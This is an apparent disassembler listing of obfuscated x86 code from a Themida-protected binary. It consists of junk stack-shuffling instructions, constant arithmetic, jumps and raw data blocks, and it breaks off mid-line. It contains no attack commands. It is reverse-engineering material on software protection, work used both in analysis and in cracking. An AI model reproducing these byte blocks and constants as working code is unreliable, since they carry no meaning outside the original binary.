loc_557EED ; --------------------------------------------------------------------------- loc_553A6C: ; CODE XREF: Themida_:0055D5F3j mov esi, ecx jmp loc_56362A ; --------------------------------------------------------------------------- db 57h dd offset dword_4E00B8+31h dd 4EC8300h, 849FE9h, 24248B00h, 0E99CC885h, 0FFFFF237h dd 31241C33h, 1C33241Ch, 0BB535C24h, 2, 38E9DF01h, 0FF00010Ah dd 0A0E92434h db 3Ah, 1, 0 ; --------------------------------------------------------------------------- loc_553AAB: ; CODE XREF: Themida_:005532C9j push ecx jmp loc_563E5D ; --------------------------------------------------------------------------- loc_553AB1: ; CODE XREF: Themida_:0056397Aj pop edx jmp loc_5610FF ; --------------------------------------------------------------------------- db 5 aFufs2 db 0Dh,'FUFИ2©',0 db 0 ; --------------------------------------------------------------------------- loc_553AC1: ; CODE XREF: Themida_:005563B6j mov edi, [esp] add esp, 4 push eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_5629F0 ; --------------------------------------------------------------------------- dw 0E2D0h dd 0AE02E9h, 5BDF8900h, 3C8BFE29h, 2123E924h, 0C890001h dd 4EC8324h, 83241C89h, 148904ECh, 88E68824h, 0F9885AF7h dd 62E9535Bh db 71h, 2 dup(0) ; --------------------------------------------------------------------------- loc_553B0F: ; CODE XREF: Themida_:0055FA66j pop ecx mov dh, bl mov ebx, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_56486A ; --------------------------------------------------------------------------- db 68h, 38h, 6Ch dd 67E90000h, 100h, 2EC83D8h, 75F3E9h, 5AD02800h, 103A7E9h dd 3E7C100h, 0F931CF31h, 0D1F7CF31h, 0E7E9CF87h, 8B0000AFh dd 60E92424h, 66FFFFF1h, 1F60CE81h, 12226E9h, 0AE95900h dd 0BD000117h, 7ECA0749h, 0E95DEA31h, 0E9D8h dword_553B80 dd 0E9D831ADh, 1389Ch ; DATA XREF: Themida_:00552BE0o ; --------------------------------------------------------------------------- loc_553B88: ; CODE XREF: Themida_:00556573j push ebx mov ebx, 29046964h jmp loc_55C9D8 ; --------------------------------------------------------------------------- db 0B8h dd 35E169Ah, 12Dh, 0ACE95300h, 10000A9h, 243C8BF9h, 8304C483h dd 0C3302C1h, 240C3124h, 8D05E9h, 7CC58100h, 81941D92h dd 0D027A6C5h, 0BA524568h, 227167E4h, 4DEEE9h, 0C3E95800h dd 66000078h, 0E9240489h, 0FFFFF0E3h, 4EC81h, 34890000h dd 1326E924h, 48F0000h, 24248B24h, 0F1E9C301h, 81000018h dd 0A5F0C7h, 5FF9894Fh, 0D8B8E9h, 24248B00h, 9C243CD3h dd 0FFF0AEE9h, 0F7D1F7FFh, 0E1F181D9h, 81399142h, 4462F3C7h dd 81CF2965h, 4462F3EFh, 0ED815965h, 23265B63h, 0C581FD01h dd 23265B63h, 83243C8Bh, 0E95204C4h, 11393h ; --------------------------------------------------------------------------- loc_553C48: ; CODE XREF: Themida_:0056761Bj mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_564B9F ; --------------------------------------------------------------------------- dword_553C5C dd 8B2434FFh, 27E92404h ; DATA XREF: Themida_:00552AB4o db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_553C67: ; CODE XREF: Themida_:005565DDj mov edi, [esp] jmp loc_554DF5 ; --------------------------------------------------------------------------- aIssi db '┴АИ⌡╠',0 align 2 aYzSr db ')оY┤<$ИR-',0 db 0 ; --------------------------------------------------------------------------- loc_553C81: ; CODE XREF: Themida_:00552CD7j push 85Ah mov [esp], ecx jmp loc_563336 ; --------------------------------------------------------------------------- loc_553C8E: ; CODE XREF: Themida_:005629F2j push dword ptr [esp] pop edx push ecx jmp loc_556BF8 ; --------------------------------------------------------------------------- loc_553C98: ; CODE XREF: Themida_:0055C4E1j sub ecx, 475605D3h pop esi push dword ptr [esp] mov ebp, [esp] add esp, 4 jmp loc_56023A ; --------------------------------------------------------------------------- loc_553CAD: ; CODE XREF: Themida_:005534F7j pop edi jmp loc_5643E2 ; --------------------------------------------------------------------------- db 29h dd 0EB0159CDh, 241C875Dh, 0E924248Bh, 0FFFFEFFFh dword_553CC4 dd 4EC81h, 1C890000h, 4EC8324h, 10F41E9h ; DATA XREF: Themida_:00552C50o db 0 ; --------------------------------------------------------------------------- loc_553CD5: ; CODE XREF: Themida_:0055A2EFj xor ebp, edx pop edx sub edi, ebp pop ebp retn ; --------------------------------------------------------------------------- dd 0FFEFE2E9h, 241C87FFh, 5324248Bh, 8904EC83h, 40E92424h db 14h, 1, 0 ; --------------------------------------------------------------------------- loc_553CF3: ; CODE XREF: Themida_:0055859Aj sub esp, 4 mov [esp], edx mov edx, esp push 7415h jmp loc_557E32 ; --------------------------------------------------------------------------- dd 0FF243C89h, 5F042474h, 12249E9h, 70C18100h, 812DCC25h dd 0BA349EC1h, 81E90103h, 0BA349EE9h, 4EC8103h, 89000000h dd 368243Ch, 8900005Dh, 0B4E9241Ch, 0B40000B4h, 0E9E52876h dd 6B02h, 9E39E95Fh, 0E5890000h, 9F9FE9h, 1C895C00h, 2474FF24h dd 2434FF04h, 0E089505Bh, 405h, 971AE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_553D6E: ; CODE XREF: Themida_:0055599Bj xchg edi, [esp] pop esp jmp loc_5650FD ; --------------------------------------------------------------------------- db 50h dd 58240CFFh, 6D34B951h, 6849429Dh, 0 dd 8B240C29h, 0C481240Ch, 4, 1294F181h, 0C1812760h, 8E86B4D0h dd 2959C829h, 0F26BE9C3h, 0E9580000h, 5267h, 0EE87F587h dd 8220F681h, 0C2819E2Ch, 1B2245C1h, 0EA81F201h, 1B2245C1h dd 8124348Bh, 4C4h, 9F0DE900h, 0C3810000h, 4, 21D4E9h dd 4C48300h, 45BDE30h, 2CF00059h, 24148B59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] sub esp, 2 jmp loc_55EC39 ; --------------------------------------------------------------------------- loc_553E0D: ; CODE XREF: Themida_:00561D35j xor edi, 274F416Eh xor edi, 23A968F9h sub esi, 6DBB4531h sub esi, edi add esi, 6DBB4531h mov edi, [esp] add esp, 4 push 78D6h mov [esp], ebx mov ebx, esi push 71FDh mov [esp], ebx pop eax pop ebx mov esi, [esp] sub esp, 4 jmp loc_55AA0A ; --------------------------------------------------------------------------- loc_553E4F: ; CODE XREF: Themida_:005639D6j xor ebx, 6B822549h shr ebx, 1 jmp loc_5539B9 ; --------------------------------------------------------------------------- loc_553E5C: ; CODE XREF: Themida_:0055C1EFj mov [esp], eax mov eax, 4 jmp loc_56189E ; --------------------------------------------------------------------------- loc_553E69: ; CODE XREF: Themida_:00563CAEj xor ecx, 6539212Eh jmp loc_567493 ; --------------------------------------------------------------------------- aPrsv_ db 'PRИ╒_',0 db 0 ; --------------------------------------------------------------------------- loc_553E7B: ; CODE XREF: Themida_:0055A0F5j xchg eax, ebp jmp loc_567230 ; --------------------------------------------------------------------------- db 81h, 0F6h, 71h dd 2167AC53h, 24348BF7h, 4EC81h, 2C890000h, 51E58924h dd 4B9h, 0E9CD0100h, 1209Fh, 0C3496B8h, 249F252Fh, 0E7050C2Eh dd 2D581B76h, 3FF9689Bh, 502E0C1h, 6F47347Ch, 8758C629h dd 0ECE92434h, 0FF000111h, 5B042474h, 8B24048Fh, 34FF2424h dd 24148B24h, 0E9E68956h, 1E60h, 2434895Ch, 8904EC83h dd 4BF243Ch, 89000000h, 0C7E95FFEh, 0FF000038h, 815A2434h dd 4C4h, 2BD5500h, 1000000h, 8493E9EEh, 0D6F70000h, 0FFFE97E9h dd 4BDFFh, 0F2E90000h db 0FDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_553F23: ; CODE XREF: Themida_:0055B704j push esi mov esi, 3FAF3FB1h xor ebp, esi pop esi push 1712h mov [esp], edi mov edi, 0F84BEE4Ch xor ebp, edi pop edi mov edx, ebp push dword ptr [esp] pop ebp add esp, 4 jmp loc_561BB2 ; --------------------------------------------------------------------------- db 81h, 0E3h, 17h dd 81471241h, 81E82F3h, 5BDE29CFh, 574A022Dh, 22CC0542h dd 0F0291E56h, 5622CC2Dh, 4759681Eh, 0C890000h, 4A02B924h dd 0C8014257h, 24348B59h, 4C481h, 0C6E90000h db 0F1h, 2 dup(0FFh) byte_553F8B db 66h ; DATA XREF: Themida_:00552BF0o dd 6824048Bh, 435Fh, 68240C89h, 1F6Ch, 55242489h, 4BDh dd 246C0100h, 57595D04h, 1A10E2BFh, 0D476E946h, 4B80000h dd 1000000h, 24048BC2h, 5604C483h, 8904EC83h, 3568241Ch dd 0E974D106h, 6965h, 1C281h, 0B0E90000h, 81FFFFF2h, 0D63624F5h dd 5DEA291Fh, 5FA2E958h, 0E7880000h, 585BF988h, 0E9241C8Bh dd 3821h ; --------------------------------------------------------------------------- loc_553FFC: ; CODE XREF: Themida_:0055B14Dj sub ebp, 4 jmp loc_562181 ; --------------------------------------------------------------------------- dd 80F6E480h, 0E5008CF4h, 5324048Bh, 984CE9h, 0ECA9E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55401A: ; CODE XREF: Themida_:00562FA0j xor al, ch pop ecx add bl, 54h add bl, al push eax jmp loc_56452C ; --------------------------------------------------------------------------- dd 3CD3BE56h, 0EE8141A0h, 0D4C8CCCBh, 74E9F031h db 3, 1, 0 ; --------------------------------------------------------------------------- loc_55403B: ; CODE XREF: Themida_:0055F1EEj push eax mov eax, 16396D35h push ebx mov ebx, 0F226328h not ebx jmp loc_5639D5 ; --------------------------------------------------------------------------- loc_55404E: ; CODE XREF: Themida_:00564FCCj neg edi jmp loc_55C19B ; --------------------------------------------------------------------------- db 55h, 0BDh, 4 dd 81000000h, 0DB0E97C6h, 0E9EE0116h, 84B3h, 4B951h, 0CE290000h dd 0D2C9E9h, 0BE95000h, 1000015h, 1C3358C3h, 7C55E924h dd 0FE890000h, 0FFF58CE9h, 7BADBBFFh, 0BF575FB6h, 555752B3h dd 4B5FFB29h, 4343DBF7h, 0D70DF381h, 0DE01F5A0h, 0E952555Bh dd 1916h, 83241C8Bh, 136804C4h, 89000067h, 0DEBA2414h dd 0F70B822Dh, 0E130E9D2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5540CA: ; CODE XREF: Themida_:00557C5Bj pop ecx push ebp mov edi, [esp] add esp, 4 jmp loc_565F8F ; --------------------------------------------------------------------------- aISQ db '┴цИ/q',0 dd 0BEF4B800h, 0BE56FF63h, 2293D93h, 0EB7CE9h, 0C1816600h dd 1668FE0h, 4A6659CAh, 0E9E2D166h, 2C50h ; --------------------------------------------------------------------------- loc_554104: ; CODE XREF: Themida_:0055F5ACj pop edx mov eax, [esp] add esp, 4 jmp loc_55FEEE ; --------------------------------------------------------------------------- dd 0E1F7665Ch, 185A6866h, 24148966h, 0E99C5066h, 0FFFFEB9Fh dd 0FD96855h, 815D302Dh, 0D101D8C5h, 1E1FE9EFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_554136: ; CODE XREF: Themida_:00560E64j pop edi add ebx, 8B12C32h pop dword ptr [eax] jmp loc_552CC3 ; --------------------------------------------------------------------------- dd 2322BF57h, 81E93605h db 0F7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55414F: ; CODE XREF: Themida_:005616A8j push 287Bh mov [esp], edi mov edi, 5D5A17D5h push 7D67h mov [esp], ebp mov ebp, 4DF55B31h sub esp, 4 mov [esp], eax mov eax, 3A405715h or eax, 5DC1CFAh shl eax, 4 add eax, 35CB24ECh or ebp, eax pop eax push esi mov esi, 426A7C1Dh sub ebp, esi push dword ptr [esp] jmp loc_566126 ; --------------------------------------------------------------------------- loc_554197: ; CODE XREF: Themida_:0055AF7Bj jnz loc_557848 sub esp, 4 mov [esp], esi push 1 mov esi, [esp] jmp loc_560A15 ; --------------------------------------------------------------------------- dd 64D34C35h, 59E95759h, 8B000127h, 34FF2424h, 2434FF24h dd 5D545558h, 0CE42E9h, 4C48100h, 0E9000000h, 0FFFFEAEBh dd 2434FF5Ch, 0A040E9h, 5AD78900h, 0E054E9h, 0C1EED100h dd 0EE8104EEh, 8A478AAEh, 8B5EF301h, 0C4832434h, 4EC8304h dd 0F37EE9h db 0 ; --------------------------------------------------------------------------- loc_554205: ; CODE XREF: Themida_:0055743Aj mov [esp], ecx push eax mov eax, 1 push 2A5Ch mov [esp], eax add dword ptr [esp], 2ECD25B7h pop ecx sub ecx, 2ECD25B7h mov eax, [esp] add esp, 4 mov ebx, ecx mov ecx, [esp] jmp loc_55FD9C ; --------------------------------------------------------------------------- loc_554237: ; CODE XREF: Themida_:0055EDAEj push 262Bh mov [esp], esi mov esi, 1EE1260h push edi mov edi, 475E43A5h add esi, edi mov edi, [esp] jmp loc_5572A0 ; --------------------------------------------------------------------------- dd 42474FFh, 24048F5Dh, 328EE9h, 81E58900h, 4C5h, 4EC8300h dd 0E9243C89h, 0A008h, 8B2434FFh, 0CE9240Ch db 0DCh, 2 dup(0) byte_55427F db 56h ; DATA XREF: Themida_:00552C38o dd 0EC83E689h, 241C8904h, 4BBh, 5BDE0100h, 0E3F7E957h dd 815E0000h, 0FBC969C1h, 59C8011Dh, 6F17685Bh, 14890000h dd 4826BA24h, 0F36807B0h, 0E9000069h, 0A3FDh, 1E9C609h dd 830000B5h, 0FCE904C4h db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5542C7: ; CODE XREF: Themida_:0055333Fj and eax, esi pop esi push edx mov edx, 366725AFh not edx xor edx, 605B012Ch jmp loc_556B95 ; --------------------------------------------------------------------------- byte_5542DD db 0ADh, 31h, 0D8h ; DATA XREF: Themida_:00552AECo dd 4EC81h, 2C890000h, 68555324h, 1C032889h, 12D36E9h, 4EC8300h dd 0E9242C89h, 630Dh ; --------------------------------------------------------------------------- loc_554300: ; CODE XREF: Themida_:0055CB27j mov ecx, [esp] add esp, 4 sub ecx, 3AB21663h jmp loc_556A5F ; --------------------------------------------------------------------------- dd 5904C483h, 7360CB81h, 3E684731h, 89000006h, 6DB82404h dd 296FF777h, 0D90158C3h, 2E9815Bh, 83000000h, 0C8904ECh dd 2474FF24h, 240C8B04h, 81E18951h, 4C1h, 4BF5700h, 0E9000000h dd 25ADh, 3BEB81h, 61050980h, 2976F40Bh, 0B612DD8h, 1C8B76F4h dd 0E2895224h, 4C281h, 0C2810000h, 4, 0EF89E9h db 0 ; --------------------------------------------------------------------------- loc_554381: ; CODE XREF: Themida_:00558806j push edi mov edi, 0A2762E0h jmp loc_556472 ; --------------------------------------------------------------------------- aS_ db ' вИ.$',0 dw 0BA00h dd 420F3506h, 8106EAC1h, 0BA25F7F2h, 5AD1012Bh, 0E981F901h dd 2AB21923h, 83243C8Bh, 0C8704C4h, 4EE95C24h db 39h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5543BB: ; CODE XREF: Themida_:00565EC3j mov [esp], eax jmp loc_55D656 ; --------------------------------------------------------------------------- db 33h dd 0FF5C242Ch, 0C8B2434h, 8B545224h, 0C4812414h, 4, 515D5455h dd 0FFF634E9h, 24048BFFh, 341AE957h, 76680000h, 0E900005Ah dd 104C5h ; --------------------------------------------------------------------------- loc_5543F4: ; CODE XREF: Themida_:005562DDj add esp, 4 add ebx, ecx pop ecx add ebx, 4 jmp loc_566F49 ; --------------------------------------------------------------------------- dw 875Bh dd 835C2434h, 0CE6804C4h, 89000054h, 5E542434h, 2D0DB951h dd 0D1F73351h, 51D4E181h, 0BA5238B4h, 3117005Fh, 0D15AD129h dd 0DEE981E1h, 81AF1AA0h, 4A12EEC6h, 0E9CE011Eh, 564Fh dd 31243C33h, 3C33243Ch, 24248B24h, 9CC83B66h, 0FFE86EE9h dd 4C783FFh, 2474FF57h, 57CBE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554462: ; CODE XREF: Themida_:0055AB5Ej sub bl, dh pop edx push dword ptr [esp] jmp loc_5648B2 ; --------------------------------------------------------------------------- db 0BEh, 0CBh, 43h dd 0C5BB18D4h, 313C0F56h, 0CBD4E9F3h, 0E9570000h, 0FFFFEF24h ; --------------------------------------------------------------------------- loc_554484: ; CODE XREF: Themida_:00554561j mov [esp], edi mov edi, 0AEE5296h and ebx, edi mov edi, [esp] add esp, 4 add ebx, 5AE506F4h or edx, ebx jmp loc_552EC5 ; --------------------------------------------------------------------------- db 0C1h, 0E8h, 2 dd 1B75BD55h, 0E9457BA0h, 1222h, 4F089EB9h, 62C1811Dh dd 89E2B0FBh, 240C8BCEh, 6804C483h, 0C81h, 2820E9h db 0 ; --------------------------------------------------------------------------- loc_5544CD: ; CODE XREF: Themida_:0055A18Cj pop ecx sub esi, ebx push ecx mov ecx, 1917225Bh shr ecx, 2 add ecx, 1 xor ecx, 1BEAFC9Ah sub esi, ecx jmp loc_557EC7 ; --------------------------------------------------------------------------- dd 0F781DFF7h, 0C8DDF1CEh, 815FFE89h, 0B87EC2F6h, 2E6C16Ch dd 0E022C681h, 0FA057953h, 297B1510h, 378BE9F0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554512: ; CODE XREF: Themida_:0055B29Aj mov ebp, 2D0C5059h not ebp jmp loc_55C1C6 ; --------------------------------------------------------------------------- dw 0F129h dd 0C335D5Eh, 240C3124h, 8B240C33h, 69E92424h, 810000DCh dd 6717ECC2h, 5FEA812Ah, 680AB034h, 1C5Dh, 0E9240489h dd 29E7h ; --------------------------------------------------------------------------- loc_55454C: ; CODE XREF: Themida_:005665AFj mov edx, esp add edx, 4 push ebp mov ebp, 4 sub edx, ebp pop ebp xchg edx, [esp] pop esp jmp loc_554484 ; --------------------------------------------------------------------------- dw 0D601h dd 0FFE7D7E9h, 0C0AAB7FFh, 0F78003EFh, 7E7C0C9h, 8003E7C0h dd 0F780AEE7h, 5BFD8806h, 0C8BEA88h, 4C48124h, 80000000h dd 50E980C4h, 0F60000D5h, 0B17FE9D7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55459E: ; CODE XREF: Themida_:00557A02j mov [esp], ecx push 20EFh mov [esp], ebx mov ebx, 58651300h neg ebx add ebx, 5D75B25h push esi mov esi, 5DE552EDh and ebx, esi pop esi jmp loc_561280 ; --------------------------------------------------------------------------- aRpsga db 'RPИG─',0 dw 0F700h dd 7E8C1D0h, 3127D605h, 0FFC129A9h, 48B2434h, 4C48124h dd 81000000h, 4C4h, 0FEEA8100h, 12DD92Dh, 0FEC281CAh, 592DD92Dh dd 3E47E9h, 12C78100h, 8B61B068h, 0C481242Ch, 4, 10B5EF81h dd 0EF81258Bh, 27C0674Bh, 0A796E9h, 4C48100h, 0E9000000h dd 0CD52h, 8904EC83h, 0B9512424h, 4, 4244C01h, 0E7D6E959h dd 8141FFFFh, 0E473FBE9h, 0D2E98130h, 2939C45Dh, 0C60159C8h dd 4EC8158h, 89000000h, 4BD242Ch, 1000000h, 34875DEEh dd 0C6815C24h, 4, 4C681h, 0FF560000h, 0E9042474h, 0F6B5h dd 5C241C87h, 54D5E9h db 0 ; --------------------------------------------------------------------------- loc_554685: ; CODE XREF: Themida_:0055D223j add esp, 4 push ecx push esp pop ecx push ebx jmp loc_55FF23 ; --------------------------------------------------------------------------- dd 622968h, 243C8900h, 1227AE9h, 54BABB00h, 0C3815548h dd 4CF900B0h, 0C381D3F7h, 0E39B984Dh, 4AE9DE01h db 21h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5546BB: ; CODE XREF: Themida_:0055AF0Ej or esi, 45363E3Dh inc esi xor esi, 52743C3Bh sub ebx, 67776D80h jmp loc_553026 ; --------------------------------------------------------------------------- db 50h dd 4B8h, 5F505700h, 3C8BFE89h, 4C48124h, 0E9000000h, 0AA24h dd 4C481h, 0F7470000h, 8E7C1DFh, 370CC781h, 0FB29657Ah dd 24148B5Fh, 8104C483h, 4ECh, 241C8900h, 42474FFh, 81241C8Bh dd 4C4h, 24048F00h, 6624248Bh, 66240C89h, 0E9C8B60Fh, 9674h dd 0E904EC83h, 40DEh, 904C483h, 0F7FEE9CAh, 4BB50000h dd 0E9EAF580h, 801h, 0E9241489h, 0FFFFEDFEh, 8904EC83h dd 89502414h, 405E0h, 42D0000h, 87000000h, 545C2404h, 0E924048Fh dd 528Bh ; --------------------------------------------------------------------------- loc_554774: ; CODE XREF: Themida_:00563C01j and ecx, edx jmp loc_558EE2 ; --------------------------------------------------------------------------- db 81h dd 3B04246Ch, 8B6A211Fh, 0C481240Ch, 4, 12240481h, 10DD463h dd 2C812404h, 0D4631224h, 4EC830Dh, 102C2E9h db 0 ; --------------------------------------------------------------------------- loc_5547A5: ; CODE XREF: Themida_:00566292j sub ebx, 67010A63h push esi mov esi, 2C3C0DE4h add esi, 1E4B2AC4h jmp loc_5572BC ; --------------------------------------------------------------------------- dd 34FFCE01h, 0C4815924h, 4, 71AEBE56h, 814E6EAFh, 4F7E4FEEh dd 0FF68147h, 29548CD4h, 0F5015EF5h, 2751C581h, 9DE973D3h db 7Bh, 2 dup(0) byte_5547EB db 0FFh ; DATA XREF: Themida_:00552AC8o dd 34FF2434h, 2434FF24h, 582434FFh, 5604C483h, 0C681E689h dd 4, 5B7C68h, 241C8900h, 81E38953h, 4C3h, 0B8F7E900h dd 2ABF0000h, 0E956A57Ah, 563Bh, 54242C89h, 83242C8Bh dd 54E904C4h, 8B0000E2h, 0EFE9241Ch db 2Fh, 2 dup(0) byte_55483B db 66h ; DATA XREF: Themida_:00552ACCo dd 0E924048Bh, 4A0Bh ; --------------------------------------------------------------------------- loc_554844: ; CODE XREF: Themida_:00562459j sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], ecx push ebx add dword ptr [esp], 38877306h pop ecx sub ecx, 38877306h sub esp, 4 mov [esp], ecx xor dword ptr [esp], 37DE57F8h mov eax, [esp] add esp, 4 push esi jmp loc_55665A ; --------------------------------------------------------------------------- loc_554881: ; CODE XREF: Themida_:00557202j add ebp, 4 jmp loc_55A116 ; --------------------------------------------------------------------------- dd 0DD27B668h, 24048B4Eh, 4C481h, 57050000h, 935D8C16h dd 593D3F7h, 26092CCh, 47EEE9h, 0DD885100h, 0C0E9EC88h db 6Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_5548B7: ; CODE XREF: Themida_:0055C374j add esi, eax pop eax jmp loc_565C23 ; --------------------------------------------------------------------------- db 33h dd 89E9242Ch db 12h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5548C7: ; CODE XREF: Themida_:00560C50j add edx, ebp pop ebp push edi jmp loc_55CB48 ; --------------------------------------------------------------------------- dd 4B8h, 0E9C60100h, 0EBFEh, 4EC81h, 0C890000h, 5380B924h dd 0CB894C52h, 56240C8Bh, 0BF57E689h, 4, 835FFE01h, 343304C6h dd 24343124h, 5C243433h, 9624E9h, 0E9564500h, 896Bh, 285BFA00h dd 8D685AD0h, 8900005Eh, 5450241Ch, 40558h, 42D0000h, 87000000h dd 248B2404h, 0E32BE924h, 0B8500000h, 7557790Ch, 2D07E8C1h dd 507369D7h, 89A4E9h, 0D5E95000h, 680000C7h, 37E3611Ah dd 108DE9h, 21756800h, 2C890000h, 6853BD24h, 0E801592Ch dd 9855E95Dh db 2 dup(0) word_554972 dw 8B66h ; DATA XREF: Themida_:00552C70o dd 8953240Ch, 4C381E3h, 83000000h, 1C3304EBh, 241C3124h dd 5C241C33h, 54242C89h, 0EC53E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554996: ; CODE XREF: Themida_:0055D5C6j push ecx jmp loc_55E78C ; --------------------------------------------------------------------------- loc_55499C: ; CODE XREF: Themida_:00561559j add esp, 4 push 446Ch mov [esp], ecx push eax mov eax, 600228E5h sub esp, 4 mov [esp], edx mov edx, eax mov ecx, edx pop edx mov eax, [esp] jmp loc_560467 ; --------------------------------------------------------------------------- loc_5549C6: ; CODE XREF: Themida_:005535E4j sub ebx, 3580091h add edi, ebx mov ebx, [esp] add esp, 4 push edx mov edx, 4 add edi, edx mov edx, [esp] push eax mov eax, esp push 2AD2h mov [esp], ebx mov ebx, 4 add eax, ebx pop ebx add eax, 4 xchg eax, [esp] mov esp, [esp] sub esp, 4 mov [esp], edi push dword ptr [esp+4] jmp loc_55FF7B ; --------------------------------------------------------------------------- aISu db '┬йИu',7,0 dd 5D0F700h, 32C23EF0h, 8158C301h, 0B7D12EBh, 53C32919h dd 0C381E389h, 4, 4EB81h, 1C870000h, 34895C24h, 27D6BE24h dd 0EE875310h, 0EE87D5F7h, 3601F681h, 0EEC12ABAh, 2304E903h dd 0EB800000h, 0C0B60F0Bh, 8904EC83h, 0E954240Ch, 0C565h dd 925CE95Bh, 4F090000h, 240C8B1Ch, 1F8568h, 243C8900h dd 1036AE9h, 24048900h, 0BF575854h, 5CE96B5Eh, 6B5AEF81h dd 0F8015CE9h, 71F0685Fh, 34890000h, 52BE924h, 0B8500001h dd 4, 5058C301h, 142E5BB8h, 331C2503h, 0FCE95570h, 0BD000018h dd 4, 0F685756h, 5F752517h, 7B36EF81h, 6FE92656h, 810000D3h dd 0CCB46CC5h, 5DEF2191h, 0E904EC83h, 8FF8h ; --------------------------------------------------------------------------- loc_554AE8: ; CODE XREF: Themida_:0055A34Bj mov ecx, esp add ecx, 4 push edx mov edx, 4 jmp loc_55EDA7 ; --------------------------------------------------------------------------- aXsgr db 'XИgr',0 dd 0C3885A00h, 24C2E958h, 68660000h, 89665384h, 3C30240Ch dd 243C3224h, 0E9243C30h, 14E1h dword_554B20 dd 9D1C77FFh, 4105866h, 94E99C24h, 4FFFFE1h, 2EC81BFh ; DATA XREF: Themida_:00552AA0o dd 66000000h, 51241C89h, 501BB252h, 0C588D088h, 0A112E958h dd 3C890000h, 0FE01E924h, 8951FFFFh, 59CB89F1h, 2CBEE95Eh dd 0DD010001h, 0F1ED815Bh, 5E308435h, 15DEB89h, 241C8BD9h dd 4C481h, 0C870000h, 24248B24h, 242CD366h, 0E13DE99Ch dd 0D801FFFFh, 1238CE9h, 4EC8100h, 0E9000000h, 0FFFFEF5Ah dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 15BD889h, 24048BC1h dd 0DBDEE9h, 348B6600h, 0E9545224h, 7703h dword_554BC0 dd 3E9028Fh, 81000097h, 0F5733FF6h, 9EEE8102h, 0E91EC9CEh ; DATA XREF: Themida_:00552C1Co dd 2C85h, 6804C483h, 13B6h, 0E9240C89h, 0D8FAh ; --------------------------------------------------------------------------- loc_554BE8: ; CODE XREF: Themida_:0055729Bj push edx push dword ptr [esp+4] mov edx, [esp] add esp, 4 pop dword ptr [esp] pop esp mov [esp], edi push ebp push 658946E4h jmp loc_55E613 ; --------------------------------------------------------------------------- dd 4244C01h, 0B7E95F59h db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_554C13: ; CODE XREF: Themida_:00557B58j inc edx jmp loc_55A6B0 ; --------------------------------------------------------------------------- loc_554C19: ; CODE XREF: Themida_:0055AB48j pop ecx push ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_559071 ; --------------------------------------------------------------------------- db 8Bh, 3Ch, 24h dd 4C481h, 9E90000h db 4Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_554C3B: ; CODE XREF: Themida_:00559CAEj sub eax, 55EA3CABh push esi jmp loc_55EEB7 ; --------------------------------------------------------------------------- dw 0C15Bh dd 0E28106EAh, 428A7C89h, 0EA81DAF7h, 0FEFB7810h, 0B3A2E9h db 0 ; --------------------------------------------------------------------------- loc_554C5D: ; CODE XREF: Themida_:00563E2Dj push ecx jmp loc_566721 ; --------------------------------------------------------------------------- aQCyvpb db 'Q╧≈yvP│и',0 dd 81146914h, 900B52C1h, 95E98143h, 0E93606EEh, 6385h dd 0CD3665Ch, 38E99C24h db 0E0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_554C8B: ; CODE XREF: Themida_:0055B7CEj xchg ecx, [esp] pop esp jmp loc_552CC3 ; --------------------------------------------------------------------------- dd 77685551h, 5D168C38h, 331BB53h, 0DD29A77Bh, 9AB1E9h dd 241C8B00h, 4C481h, 8DE90000h, 0C000009Ah, 98E903E3h dd 8300010Fh, 48904ECh, 26F9E924h db 1, 0 ; --------------------------------------------------------------------------- loc_554CCA: ; CODE XREF: Themida_:005578F1j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] mov [esp], edi mov edi, 2000h and eax, edi push dword ptr [esp] pop edi jmp loc_559E03 ; --------------------------------------------------------------------------- db 81h, 0C7h, 98h dd 0C16F2D4Fh, 814F07E7h, 0BB1C56F7h, 883FE958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554CFE: ; CODE XREF: Themida_:0055DA88j push edi mov edi, esp jmp loc_559316 ; --------------------------------------------------------------------------- loc_554D06: ; CODE XREF: Themida_:00556679j pop ebp push 0 jmp loc_55659F ; --------------------------------------------------------------------------- db 81h, 0C3h, 4 dd 83000000h, 1C8704C3h, 0E3685C24h, 89000016h, 0B951243Ch dd 1725F30h, 8159CF89h, 335771F7h, 5E7C106h, 7EC6F781h dd 0A405A8F7h, 29182F50h, 50A42DF8h, 55F182Fh, 1DB70236h dd 362DD801h, 51DB702h, 40D676E6h, 3F59E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_554D62: ; CODE XREF: Themida_:0056787Bj xor [esp], edi xor edi, [esp] pop esp mov eax, edi pop edi sub esp, 4 mov [esp], eax pop dword ptr [edx+38h] mov eax, [esp] jmp loc_55F6DB ; --------------------------------------------------------------------------- dd 339FC281h, 0A1E91669h, 5E0000D1h, 0C5685751h, 8B030E54h dd 0C481243Ch, 4, 7502E781h, 0F74F4E88h, 81D7F7D7h, 853FBEFh dd 0E9F98902h, 32FAh, 0E904EC83h, 4475h, 0ECE9515Ch, 89000122h dd 